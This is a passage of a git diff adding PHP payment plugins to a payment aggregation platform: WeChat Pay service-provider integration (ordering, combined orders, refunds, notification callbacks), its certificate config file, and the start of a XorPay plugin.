['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //H5支付 + static public function h5(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip, + 'h5_info' => [ + 'type' => 'Wap', + 'app_name' => $conf['sitename'], + 'app_url' => $siteurl, + ], + ] + ]; + if($order['profits']>0 || $conf['direct_settle_time'] == 1 && $channel['appswitch'] == 1){ + $param['settle_info'] = ['profit_sharing' => true]; + } + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PartnerPaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $result = $client->h5Pay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $result = $client->combineH5Pay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + $redirect_url=$siteurl.'pay/return/'.TRADE_NO.'/'; + $url=$result['h5_url'].'&redirect_url='.urlencode($redirect_url); + return ['type'=>'jump','url'=>$url]; + } catch (Exception $e) { + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + if($channel['subappwxa']){ + $channel['sub_appid'] = $wxinfo['appid']; + }else{ + $channel['appid'] = $wxinfo['appid']; + } + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'payer' => [ + 'sp_openid' => $openid + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + if($order['profits']>0 || $conf['direct_settle_time'] == 1 && $channel['appswitch'] == 1){ + $param['settle_info'] = ['profit_sharing' => true]; + } + if($channel['subappwxa']){ + $param['payer']['sub_openid'] = $openid; + unset($param['payer']['sp_openid']); + } + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PartnerPaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $jsApiParameters = $client->jsapiPay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $jsApiParameters = $client->combineJsapiPay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + exit(json_encode(['code'=>0, 'data'=>$jsApiParameters])); + } catch (Exception $e) { + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败!'.$e->getMessage()])); + } + } + + //APP支付 + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $param = [ + 'description' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'amount' => [ + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ], + 'scene_info' => [ + 'payer_client_ip' => $clientip + ] + ]; + if($order['profits']>0 || $conf['direct_settle_time'] == 1 && $channel['appswitch'] == 1){ + $param['settle_info'] = ['profit_sharing' => true]; + } + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PartnerPaymentService($wechatpay_config); + $submoneys = combinepay_submoneys($param['amount']['total']); + if(!$submoneys){ + $result = $client->appPay($param); + }else{ + $param = self::combineOrderParams($param, $submoneys, $sub_orders); + $result = $client->combineAppPay($param); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + } + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + $params = [ + 'nonceStr' => $result['noncestr'], + 'package' => $result['package'], + 'partnerId' => $result['partnerid'], + 'prepayId' => $result['prepayid'], + 'timeStamp' => $result['timestamp'], + 'sign' => $result['sign'], + ]; + $code_url = 'weixin://app/'.$result['appid'].'/pay/?'.http_build_query($params); + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$code_url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序跳转支付 + static public function applet(){ + global $channel; + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $path = wxminipay_jump_path(TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>$wxinfo['appid'], 'miniProgramId'=>'', 'path'=>$path]]; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //异步回调 + static public function notify(){ + global $channel, $order, $conf; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PartnerPaymentService($wechatpay_config); + $data = $client->notify(); + } catch (Exception $e) { + $client->replyNotify(false, $e->getMessage()); + exit; + } + + if(isset($data['combine_out_trade_no'])){ //合单支付 + if($data['combine_out_trade_no'] == TRADE_NO){ + $sub_orders = []; + foreach($data['sub_orders'] as $detail){ + $sub_orders[] = ['sub_trade_no'=>$detail['out_trade_no'], 'api_trade_no'=>$detail['transaction_id'], 'money'=>round($detail['amount']['total_amount']/100,2)]; + } + \lib\Payment::processSubOrders(TRADE_NO, $sub_orders); + + if($conf['direct_settle_time'] > 0 && $order['profits'] == 0){ + $order['settle'] = 1; + } + processNotify($order, $data['combine_out_trade_no'], $data['combine_payer_info']['openid']); + } + }else{ + if ($data['trade_state'] == 'SUCCESS') { + if($data['out_trade_no'] == TRADE_NO){ + if($conf['direct_settle_time'] > 0 && $order['profits'] == 0){ + $order['settle'] = 1; + } + processNotify($order, $data['transaction_id'], $data['payer']['sp_openid']); + } + } + } + $client->replyNotify(true); + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $param = [ + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'amount' => [ + 'refund' => intval(round($order['refundmoney']*100)), + 'total' => intval(round($order['realmoney']*100)), + 'currency' => 'CNY' + ] + ]; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PartnerPaymentService($wechatpay_config); + $result = $client->refund($param); + $result = ['code'=>0, 'trade_no'=>$result['out_trade_no'], 'refund_fee'=>$result['amount']['refund']]; + } catch (Exception $e) { + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } + + //合单退款 + static public function refund_combine($order){ + global $channel; + if(empty($order))exit(); + + $sub_orders = \lib\Payment::getSubOrders($order['trade_no']); + if(empty($sub_orders)) return ['code'=>-1, 'msg'=>'子订单数据不存在']; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\PartnerPaymentService($wechatpay_config); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + + //循环退款 + $refundmoney = $order['refundmoney']; + foreach($sub_orders as $sub_order){ + if($sub_order['status']==2 && (empty($sub_order['refundmoney']) || $sub_order['refundmoney']>=$sub_order['money'])) continue; + $money = $sub_order['money']; + if($sub_order['status']==2) $money = round($sub_order['money'] - $sub_order['refundmoney'], 2); + if($money > $refundmoney){ + $money = $refundmoney; + } + $refund_no = date("YmdHis").rand(11111,99999); + $param = [ + 'transaction_id' => $sub_order['api_trade_no'], + 'out_refund_no' => $refund_no, + 'amount' => [ + 'refund' => intval(round($money*100)), + 'total' => intval(round($sub_order['money']*100)), + 'currency' => 'CNY' + ] + ]; + + try{ + $client->refund($param); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + $sub_refundmoney = $sub_order['refundmoney'] ? round($sub_order['refundmoney'] + $money, 2) : $money; + \lib\Payment::refundSubOrder($sub_order['sub_trade_no'], $sub_refundmoney); + $refundmoney = round($refundmoney - $money, 2); + if($refundmoney<=0)break; + } + + return ['code'=>0]; + } + + //处理合单支付参数 + static private function combineOrderParams($param, $submoneys, &$sub_orders_data){ + global $channel; + if(strpos($channel['appurl'], ',')){ + $sub_mchids = explode(',', $channel['appurl']); + shuffle($sub_mchids); + } + + $sub_orders = []; + $i = 1; + foreach($submoneys as $money){ + $sub_order = [ + 'attach' => 'combine', + 'amount' => [ + 'total_amount' => $money, + 'currency' => $param['amount']['currency'], + ], + 'out_trade_no' => $param['out_trade_no'].$i, + 'description' => $param['description'], + ]; + if(isset($sub_mchids)){ + $sub_order['sub_mchid'] = $sub_mchids[($i-1)%count($sub_mchids)]; + } + $sub_orders[] = $sub_order; + $sub_orders_data[] = ['sub_trade_no'=>$sub_order['out_trade_no'], 'money'=>round($money/100,2)]; + $i++; + } + if(!empty($param['scene_info']['h5_info'])) $param['scene_info']['device_id'] = '10001'; + $newparam = [ + 'combine_out_trade_no' => $param['out_trade_no'], + 'scene_info' => $param['scene_info'], + 'sub_orders' => $sub_orders, + 'notify_url' => $param['notify_url'], + ]; + if(isset($param['payer'])){ + $newparam['combine_payer_info']['openid'] = $param['payer']['sp_openid']; + } + return $newparam; + } + + //投诉通知回调 + static public function complainnotify(){ + global $channel; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\BaseService($wechatpay_config); + $data = $client->notify(); + } catch (Exception $e) { + $client->replyNotify(false, $e->getMessage()); + exit; + } + + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($data['complaint_id'], $data['action_type']); + + $client->replyNotify(true); + } + + //商户违规通知回调 + static public function mchrisknotify(){ + global $channel; + + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\V3\BaseService($wechatpay_config); + $data = $client->notify(); + } catch (Exception $e) { + $client->replyNotify(false, $e->getMessage()); + exit; + } + + $model = new \lib\WxMchRisk($channel); + $model->notify($data); + + $client->replyNotify(true); + } +} \ No newline at end of file diff --git a/plugins/wxpaysl/inc/config.php b/plugins/wxpaysl/inc/config.php new file mode 100644 index 0000000..efed8a4 --- /dev/null +++ b/plugins/wxpaysl/inc/config.php @@ -0,0 +1,34 @@ + $channel['appid'], + + //商户号 + 'mchid' => $channel['appmchid'], + + //商户APIv2密钥 + 'apikey' => $channel['appkey'], + + //公众帐号secert(仅JSAPI支付需要配置) + 'appsecret' => '', + + //子商户号 + 'sub_mchid' => $channel['appurl'], + + //子商户APPID + 'sub_appid' => $channel['sub_appid'], + + //商户证书路径(仅退款、撤销订单时需要) + 'sslcert_path' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_cert.pem', + + //商户证书私钥路径 + 'sslkey_path' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_key.pem', +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_cert.pem') && file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem')){ + $wechatpay_config['sslcert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_cert.pem'; + $wechatpay_config['sslkey_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem'; +} + +return $wechatpay_config; \ No newline at end of file diff --git a/plugins/wxpaysl/wxpaysl_plugin.php b/plugins/wxpaysl/wxpaysl_plugin.php new file mode 100644 index 0000000..a58591d --- /dev/null +++ b/plugins/wxpaysl/wxpaysl_plugin.php @@ -0,0 +1,453 @@ + 'wxpaysl', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '微信官方支付服务商版', //支付插件显示名称 + 'author' => '微信', //支付插件作者 + 'link' => 'https://pay.weixin.qq.com/partner/public/home', //支付插件作者链接 + 'types' => ['wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '服务号/小程序/开放平台AppID', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户API密钥', + 'type' => 'input', + 'note' => 'APIv2密钥', + ], + 'appurl' => [ + 'name' => '子商户号', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => 'Native支付', + '2' => 'JSAPI支付', + '3' => 'H5支付', + '5' => 'APP支付', + ], + 'note' => '

    上方AppID填写已认证的服务号/小程序/开放平台应用皆可,需要在微信支付后台关联对应的AppID账号才能使用。

    如需资金下发(如退款)功能,请将API证书放置于/plugins/wxpaysl/cert/文件夹(或/plugins/wxpaysl/cert/商户ID/文件夹)

    点金计划商家小票链接(用于公众号支付跳转回网站):[siteurl]gold.php

    ', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf; + + $urlpre = '/'; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if(checkwechat()){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }elseif(in_array('1',$channel['apptype']) && $conf['wework_payopen'] == 1){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + }else{ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + }elseif(checkmobile()){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype']) && strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone OS')!==false){ + return ['type'=>'jump','url'=>$urlpre.'pay/apppay/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + $urlpre = $siteurl; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if($method == 'applet' && in_array('2',$channel['apptype'])){ + return self::applet(); + }elseif($method=='app'){ + return self::apppay(); + }elseif($method=='jsapi'){ + return self::jspay(); + }elseif($method=='scan'){ + return self::scanpay(); + } + elseif($mdevice=='wechat'){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return self::wap(); + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + }elseif($device=='mobile'){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/submit/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return self::wap(); + }else{ + return self::qrcode(); + } + }else{ + return self::qrcode(); + } + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(in_array('1',$channel['apptype'])){ + + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'product_id' => '01001', + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->nativePay($params); + $code_url = $result['code_url']; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + + }elseif(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + $code_url = $siteurl.'pay/wap/'.TRADE_NO.'/'; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + + //JS支付 + static public function jspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + if(!empty($order['sub_openid'])){ + if(!empty($order['sub_appid'])){ + $channel['sub_appid'] = $order['sub_appid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $channel['appid'] = $wxinfo['appid']; + } + $openid = $order['sub_openid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $channel['appid'] = $wxinfo['appid']; + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + } + + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'openid' => $openid, + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->jsapiPay($params); + $jsApiParameters = json_encode($result); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$result]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //手机支付 + static public function wap(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxa']>0 && !isset($_GET['qrcode'])){ + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //H5支付 + static public function h5(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $scene_info = [ + 'h5_info' => [ + 'type' => 'Wap', + 'wap_url' => $siteurl, + 'wap_name' => $conf['sitename'] + ] + ]; + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'scene_info' => json_encode($scene_info, JSON_UNESCAPED_UNICODE), + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->h5Pay($params); + $redirect_url=$siteurl.'pay/return/'.TRADE_NO.'/'; + $url=$result['mweb_url'].'&redirect_url='.urlencode($redirect_url); + return ['type'=>'jump','url'=>$url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + $channel['appid'] = $wxinfo['appid']; + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'openid' => $openid, + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $jsApiParameters = $client->jsapiPay($params); + exit(json_encode(['code'=>0, 'data'=>$jsApiParameters])); + }catch(Exception $e){ + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败!'.$e->getMessage()])); + } + } + + //APP支付 + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->appPay($params); + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + $param = [ + 'nonceStr' => $result['noncestr'], + 'package' => $result['package'], + 'partnerId' => $result['partnerid'], + 'prepayId' => $result['prepayid'], + 'timeStamp' => $result['timestamp'], + 'sign' => $result['sign'], + ]; + $code_url = 'weixin://app/'.$result['appid'].'/pay/?'.http_build_query($param); + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$code_url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //付款码支付 + static public function scanpay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'auth_code' => $order['auth_code'], + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->microPay($params); + processNotify($order, $result['transaction_id'], $result['openid']); + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['transaction_id'], 'buyer'=>$result['openid'], 'money'=>strval(round($result['total_fee']/100, 2))]]; + }catch(\WeChatPay\WeChatPayException $e){ + $err_code = $e->getErrCode(); + if($err_code == 'SYSTEMERROR' || $err_code == 'USERPAYING'){ + if($err_code == 'USERPAYING') sleep(2); + $retry = 0; + $success = false; + while($retry < 6){ + sleep(3); + try{ + $result = $client->orderQuery(null, TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付失败!订单查询失败:'.$e->getMessage()]; + } + if($result['trade_state'] == 'SUCCESS'){ + $success = true; + break; + }elseif($result['trade_state'] != 'USERPAYING'){ + return ['type'=>'error','msg'=>'微信支付失败!订单超时或用户取消支付']; + } + $retry++; + } + if($success){ + processNotify($order, $result['transaction_id'], $result['openid']); + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['transaction_id'], 'buyer'=>$result['openid'], 'money'=>strval(round($result['total_fee']/100, 2))]]; + }else{ + try{ + $client->reverse(null, TRADE_NO); + }catch(Exception $e){ + } + return ['type'=>'error','msg'=>'微信支付失败!订单已超时']; + } + } + return ['type'=>'error','msg'=>$e->getMessage()]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序跳转支付 + static public function applet(){ + global $channel; + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $path = wxminipay_jump_path(TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>$wxinfo['appid'], 'miniProgramId'=>'', 'path'=>$path]]; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $isSuccess = true; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\PaymentService($wechatpay_config); + $data = $client->notify(); + if($data['out_trade_no'] == TRADE_NO && $data['total_fee']==strval($order['realmoney']*100)){ + processNotify($order, $data['transaction_id'], $data['openid']); + } + }catch(Exception $e){ + $isSuccess = false; + $errmsg = $e->getMessage(); + } + + $client->replyNotify($isSuccess, $errmsg); + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $params = [ + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'total_fee' => strval($order['realmoney']*100), + 'refund_fee' => strval($order['refundmoney']*100), + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->refund($params); + $result = ['code'=>0, 'trade_no'=>$result['transaction_id'], 'refund_fee'=>$result['refund_fee']]; + } catch(Exception $e) { + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } +} \ No newline at end of file diff --git a/plugins/xorpay/xorpay_plugin.php b/plugins/xorpay/xorpay_plugin.php new file mode 100644 index 0000000..6f7c4d8 --- /dev/null +++ b/plugins/xorpay/xorpay_plugin.php @@ -0,0 +1,209 @@ + 'xorpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => 'XorPay', //支付插件显示名称 + 'author' => 'XorPay', //支付插件作者 + 'link' => 'https://xorpay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => 'AppId', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => 'AppSecret', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => null, + 'note' => '点金计划商家小票链接(用于公众号支付跳转回网站):[siteurl]gold.php', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + return 